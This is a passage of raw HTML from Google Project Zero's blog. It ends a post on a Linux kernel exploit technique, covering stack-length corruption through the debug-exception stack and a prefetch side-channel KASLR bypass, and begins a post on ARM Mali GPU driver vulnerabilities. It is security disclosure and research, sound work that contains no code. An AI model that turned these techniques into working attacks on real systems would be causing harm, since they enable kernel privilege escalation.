0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The attack strategy starts as follows:</span></p><ol style="margin-bottom: 0; margin-top: 0; padding-inline-start: 48px;"><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Fork a process Y from process X.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Process X ptraces process Y, then sets a hardware breakpoint at a known virtual address [addr] in process Y.</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Process Y makes a large number of calls to uname(2), which calls </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to_user</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> from a kernel stack buffer to [addr]. This causes the kernel to constantly trigger the hardware watchpoint and enter the DB exception handler, using the DB exception stack to save and restore </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to_user</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> state</span></p></li><li aria-level="1" dir="ltr" style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; list-style-type: decimal; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Simultaneously make many arbitrary writes at the known location of the DB exception stack’s saved </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">rcx</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value, which is Process Y’s </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_to_user</span><span style="font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">’s saved length.</span></p></li></ol><div><span style="font-family: Arial;"><span style="font-size: 14.6667px; white-space: pre-wrap;"><br /></span></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8tz1hKWNhX-Wy3WfWRQpXpx20G62eGw7d8a_Kw7qQFfGyAgn6jsE9yxyFRR7hgrTW04cZDfp-V1BUnNqbFTXm9rFEktXTvf70fyPgAOk1pMgWZPzLBcRDND3bFObstL6cmPhp0J6nReczPiODwfsjecw_VsmRTp8cgodf-SEb1aQNkfQMQiPnHtt2/s1111/image3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="DB Exception handling while the arbitrary write primitive writes to the CEA stack leads to corruption of the rcx register" border="0" data-original-height="1111" data-original-width="881" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8tz1hKWNhX-Wy3WfWRQpXpx20G62eGw7d8a_Kw7qQFfGyAgn6jsE9yxyFRR7hgrTW04cZDfp-V1BUnNqbFTXm9rFEktXTvf70fyPgAOk1pMgWZPzLBcRDND3bFObstL6cmPhp0J6nReczPiODwfsjecw_VsmRTp8cgodf-SEb1aQNkfQMQiPnHtt2/w508-h640/image3.png" width="508" /></a></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"><br /></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The DB exception stack is used rarely, so it’s unlikely that we corrupt any unexpected kernel state via a spurious DB exception while spamming our arbitrary write primitive. The technique is also racy, but missing the race simply means corrupting stale stack-data. In that case, we simply try again. In my experience, it rarely takes more than a few seconds to win the race successfully.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Upon successful corruption of the length value, the kernel will copy much of the current task’s stack back to userland, including the task-local stack cookie and return addresses. We can subsequently invert our technique and attack a </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_from_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call instead. Instead of copying too many bytes from the kernel task stack to userland, we elicit the kernel to copy too many bytes from userland to the kernel task stack! Again we use a syscall, </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">prctl(2)</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">, that performs a </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">copy_from_user</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> call to a kernel stack buffer. Now by corrupting the length value, we generate a stack buffer overflow condition in this function where none previously existed. Since we’ve already leaked the stack cookie and the KASLR slide, it is trivially easy to bypass both mitigations and overwrite the return address.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYUmx3piEZB098RyCbjYgbTv18WhcOGwlD3J7HitFqympFWvbVS6iGvsBjdJLgZ5TFc6Y7I4QjugrzV78LCziyAkFMOUgvgDHP_OuPx32gSP5cvrqEV5G2eHqGFzsAHTspIaJ15Dql9ubkcGX6ZQ20NRe9J-cIsLM2y7FEg5CmIICJqoiakOzcYnqT/s555/image2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Image showing that we’ve gained control of the instruction pointer" border="0" data-original-height="365" data-original-width="555" height="420" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYUmx3piEZB098RyCbjYgbTv18WhcOGwlD3J7HitFqympFWvbVS6iGvsBjdJLgZ5TFc6Y7I4QjugrzV78LCziyAkFMOUgvgDHP_OuPx32gSP5cvrqEV5G2eHqGFzsAHTspIaJ15Dql9ubkcGX6ZQ20NRe9J-cIsLM2y7FEg5CmIICJqoiakOzcYnqT/w640-h420/image2.png" width="640" /></a></div><br /><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; white-space: pre-wrap;">Completing a ROP chain for the kernel is left as an exercise to the reader.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Fetching the KASLR slide with prefetch</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Upon reporting this bug to the Linux kernel security team, our suggestion was to start randomizing the location of the percpu </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpu_entry_area</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> (CEA), and consequently the associated exception and syscall entry stacks. This is an effective mitigation against remote attackers but is insufficient to prevent a local attacker from taking advantage. 6 years ago, Daniel Gruss et al. </span><a href="https://gruss.cc/files/prefetch.pdf" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">discovered a new more reliable technique for exploiting the TLB timing side channel in x86 CPU’s</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. Their results demonstrated that prefetch instructions executed in user mode retired at statistically significant different latencies depending on whether the requested virtual address to be prefetched was mapped vs unmapped, even if that virtual address was only mapped in kernel mode. </span><a href="https://docs.kernel.org/x86/pti.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">kPTI</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> was helpful in mitigating this side channel, however, most modern CPUs now have innate protection for Meltdown, which kPTI was specifically designed to address, and thusly kPTI (which has significant performance implications) is disabled on modern microarchitectures. That decision means it is once again possible to take advantage of the prefetch side channel to defeat not only KASLR, but also the CPU entry area randomization mitigation, preserving the viability of the CEA stack corruption exploit technique against modern X86 CPUs.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">There are surprisingly few fast and reliable examples of this prefetch KASLR bypass technique available in the open source realm, so I made the decision to write one.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Implementation</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The meat of implementing this technique effectively is in serially reading the processor’s time stamp counter before and after performing a prefetch. </span><a href="https://github.com/IAIK/prefetch" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Daniel Gruss helpfully provided highly effective and open source code for doing just that.</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> The only edit I made (as suggested by Jann Horn) was to swap to using </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">lfence</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instead of </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpuid</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> as the serializing instruction, as </span><span style="font-family: "Courier New"; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpuid</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> is emulated in VM environments. It also became apparent in practice that there was no need to perform any cache-flushing routines in order to witness the side-channel effect. It is simply enough to time every prefetch attempt.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Generating prefetch timings for all 512 possible KASLR slots yields quite a bit of fuzzy data in need of analyzing. To minimize noise, multiple samples of each tested address are taken, and the minimum value from that set of samples is used in the results as the representative value for an address. On the Tiger Lake CPU this test was primarily performed on, no more than 16 samples per slot were needed to generate exceptionally reliable results. Low-resolution minimum prefetch time slot identification narrows down the area to search in while avoiding false positives for the higher resolution edge-detection code which finds the precise address at which prefetch dramatically drops in run-time. The result of this effort is a PoC which can correctly identify the KASLR slide on my local machine with 99.999% accuracy (95% accuracy in a VM) while running faster than it takes to grep through kallsyms for the kernel base address:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: center;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE360QpgSL2MstPC7ytC_a22fGUz2uwugoUW0sKHq66aCHk7loOvFCrxAs0ePlNIzvdutTS4wmV5Ilfz2u8MLuQd-n5Z_fSHMcfQdIj-8ooyABpDomHKbxQuCLT3REttBscYj9_F4eGBfKniEm99z4p-ta10N6cXy6nIoGLBV1y8aNn_DiqHBuzVTO/s891/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Breaking KASLR with Prefecth: Grepping through kallsyms took .077 seconds while using the prefetch technique took .013 seconds" border="0" data-original-height="306" data-original-width="891" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgE360QpgSL2MstPC7ytC_a22fGUz2uwugoUW0sKHq66aCHk7loOvFCrxAs0ePlNIzvdutTS4wmV5Ilfz2u8MLuQd-n5Z_fSHMcfQdIj-8ooyABpDomHKbxQuCLT3REttBscYj9_F4eGBfKniEm99z4p-ta10N6cXy6nIoGLBV1y8aNn_DiqHBuzVTO/w640-h220/image1.png" width="640" /></a></div><br /><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This prefetch code does indeed work to find the locations of the randomized CEA regions in Peter Ziljstra’s proposed patch. However, the journey to that point results in code that demonstrates another deeply significant issue - KASLR is comprehensively compromised on x86 against local attackers, and has been for the past several years, and will be for the indefinite future. There are presently no plans in place to resolve the myriad microarchitectural issues that lead to side channels like this one. Future work is needed in this area in order to preserve the integrity of KASLR, or alternatively, it is probably time to accept that KASLR is no longer an effective mitigation against local attackers and to develop defensive code and mitigations that accept its limitations.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Conclusion</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This exploit demonstrates a highly reliable and agnostic technique that can allow a broad spectrum of uncontrolled arbitrary write primitives to achieve kernel code execution on x86 platforms. While it is possible to mitigate this exploit technique from a remote context, an attacker in a local context can utilize known microarchitectural side-channels to defeat the current mitigations. Additional work in this area might be valuable to continue to make exploitation more difficult, such as performing in-stack randomization so that the stack offset of the saved state changes on every taken IST exception. For now however, this remains a viable and powerful exploit strategy on x86 Linux.</span></p><div><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div></span>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-75197484978053711182022-11-22T13:05:00.000-08:002022-11-22T13:05:40.148-08:00Mind the Gap<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=OPeqXG-QxW3ZD8BtmPikfA');.lst-kix_9apzkelodq30-0>li:before{content:"\0025cf "}ul.lst-kix_9apzkelodq30-6{list-style-type:none}ul.lst-kix_9apzkelodq30-7{list-style-type:none}ul.lst-kix_9apzkelodq30-4{list-style-type:none}ul.lst-kix_9apzkelodq30-5{list-style-type:none}ul.lst-kix_9apzkelodq30-2{list-style-type:none}ul.lst-kix_9apzkelodq30-3{list-style-type:none}ul.lst-kix_9apzkelodq30-0{list-style-type:none}.lst-kix_9apzkelodq30-6>li:before{content:"\0025cf "}ul.lst-kix_9apzkelodq30-1{list-style-type:none}.lst-kix_9apzkelodq30-5>li:before{content:"\0025a0 "}.lst-kix_9apzkelodq30-3>li:before{content:"\0025cf "}.lst-kix_9apzkelodq30-7>li:before{content:"\0025cb "}.lst-kix_9apzkelodq30-4>li:before{content:"\0025cb "}.lst-kix_9apzkelodq30-8>li:before{content:"\0025a0 "}ul.lst-kix_9apzkelodq30-8{list-style-type:none}.lst-kix_9apzkelodq30-1>li:before{content:"\0025cb "}.lst-kix_9apzkelodq30-2>li:before{content:"\0025a0 "}ol{margin:0;padding:0}table td,table th{padding:0}.HwIiAvYVxJ-c0{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.HwIiAvYVxJ-c6{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.HwIiAvYVxJ-c7{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.HwIiAvYVxJ-c9{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial"}.HwIiAvYVxJ-c4{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.HwIiAvYVxJ-c3{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.HwIiAvYVxJ-c10{background-color:#ffffff;font-size:10.5pt;font-family:"Roboto";font-weight:400}.HwIiAvYVxJ-c8{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.HwIiAvYVxJ-c1{color:inherit;text-decoration:inherit}.HwIiAvYVxJ-c11{background-color:#ffffff}.HwIiAvYVxJ-c2{font-style:italic}.HwIiAvYVxJ-c5{height:11pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style><body class="c8 doc-content">
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0">By Ian Beer, Project Zero </span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c2">Note: The vulnerabilities discussed in this blog post (CVE-2022-33917) are fixed by the upstream vendor, but at the time of publication, t</span><span class="HwIiAvYVxJ-c2 HwIiAvYVxJ-c11">hese fixes have not yet made it downstream to affected Android devices (including Pixel, Samsung, Xiaomi, Oppo and others). Devices with a Mali GPU are currently vulnerable.</span><span class="HwIiAvYVxJ-c9 HwIiAvYVxJ-c2"> </span></p><h2 class="HwIiAvYVxJ-c7" id="h.mvgq8h546lfi"><span class="HwIiAvYVxJ-c6">Introduction</span></h2>
<p class="HwIiAvYVxJ-c4"><span>In June 2022, Project Zero researcher Maddie Stone gave a talk at </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://www.first.org/conference/2022/">FirstCon22</a></span><span> titled </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://googleprojectzero.blogspot.com/2022/06/2022-0-day-in-wild-exploitationso-far.html">0-day In-the-Wild Exploitation in 2022…so far</a></span><span>. A key takeaway was that approximately 50% of the observed 0-days in the first half of 2022 were variants of previously patched vulnerabilities. This finding is consistent with our understanding of attacker behavior: </span><span class="HwIiAvYVxJ-c10">attackers will take the path of least resistance, and as long as vendors don't consistently perform thorough root-cause analysis when fixing security vulnerabilities, it will continue to be worth investing time in trying to revive known vulnerabilities before looking for novel ones</span><span class="HwIiAvYVxJ-c0">.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0">The presentation discussed an in the wild exploit targeting the Pixel 6 and leveraging CVE-2021-39793, a vulnerability in the ARM Mali GPU driver used by a large number of other Android devices. ARM's advisory described the vulnerability as: </span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c2">Title</span><span class="HwIiAvYVxJ-c0"> Mali GPU Kernel Driver may elevate CPU RO pages to writable</span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c2">CVE</span><span class="HwIiAvYVxJ-c0"> CVE-2022-22706 (also reported in CVE-2021-39793)</span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c2">Date of issue</span><span class="HwIiAvYVxJ-c0"> 6th January 2022 </span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c2">Impact</span><span> A non-privileged user can get a write access to read-only memory pages [</span><span class="HwIiAvYVxJ-c2">sic</span><span class="HwIiAvYVxJ-c0">].</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span>The week before FirstCon22, Maddie gave an internal preview of her talk. Inspired by the description of an in-the-wild vulnerability in low-level memory management code, fellow Project Zero researcher Jann Horn started auditing the ARM Mali GPU driver. Over the next three weeks, Jann found five more exploitable vulnerabilities (</span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2325">2325</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2327">2327</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2331">2331</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2333">2333</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2334">2334</a></span><span class="HwIiAvYVxJ-c0">).</span></p><h2 class="HwIiAvYVxJ-c7" id="h.9l9fwyug2cxl"><span class="HwIiAvYVxJ-c6">Taking a closer look</span></h2>
<p class="HwIiAvYVxJ-c4"><span>One of these issues (</span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2334">2334</a></span><span>) lead to kernel memory corruption, one (</span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2331">2331</a></span><span>) lead to physical memory addresses being disclosed to userspace and the remaining three (</span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2325">2325</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2327">2327</a></span><span>, </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://bugs.chromium.org/p/project-zero/issues/detail?id=2333">2333</a></span><span class="HwIiAvYVxJ-c0">) lead to a physical page use-after-free condition. These would enable an attacker to continue to read and write physical pages after they had been returned to the system.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span>For example, by forcing the kernel to </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html">reuse these pages as page tables</a></span><span class="HwIiAvYVxJ-c0">, an attacker with native code execution in an app context could gain full access to the system, bypassing Android's permissions model and allowing broad access to user data.</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span>Anecdotally, we heard from multiple sources that the Mali issues we had reported collided with vulnerabilities available in the 0-day market, and we even saw one </span><span class="HwIiAvYVxJ-c3"><a class="HwIiAvYVxJ-c11" href="https://twitter.com/jgrusko/status/1571921203723440135">public reference</a></span><span class="HwIiAvYVxJ-c0">:</span></p>
<p class="HwIiAvYVxJ-c4 HwIiAvYVxJ-c5"><span class="HwIiAvYVxJ-c0"></span></p>
<p class="HwIiAvYVxJ-c4"><span class="HwIiAvYVxJ-c0"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHlABpgRGtGMlLmoEY3wDYvg13cwbxPVGScpjHBa0wa8vaohGjhB9YkYuIyfxxnm2iWh4czqp1YUdMCrSgy-dtdlZ8FkLV5IDrQZ1SSCNUoYjsJlHdPoOjtUar_uHQda_aAUu75_4sUUAFjM7Jvr-d6JOMHD7AexIZMXDsdrZIdKX7aA4wrhRC6PCD/s1420/tweet.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="@ProjectZeroBugs\nArm Mali: driver exposes physical addresses to unprivileged userspace\n\n
@jgrusko Replying to @ProjectZeroBugs\nRIP the feature that was there forever and nobody wanted to report :)" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHlABpgRGtGMlLmoEY3wDYvg13cwbxPVGScpjHBa0wa8vaohGjhB9YkYuIyfxxnm2iWh4czqp1YUdMCrSgy-dtdlZ8FkLV5IDrQZ1SSCNUoYjsJlHdPoOjtUar_uHQda_aAUu75_4sUUAFjM7Jvr-d6JOMHD7AexIZMXDsdrZIdKX7aA4wrhRC6PCD/s1200/tweet.png" title="@ProjectZeroBugs\nArm Mali: driver exposes physical addresses to unprivileged userspace\n\n
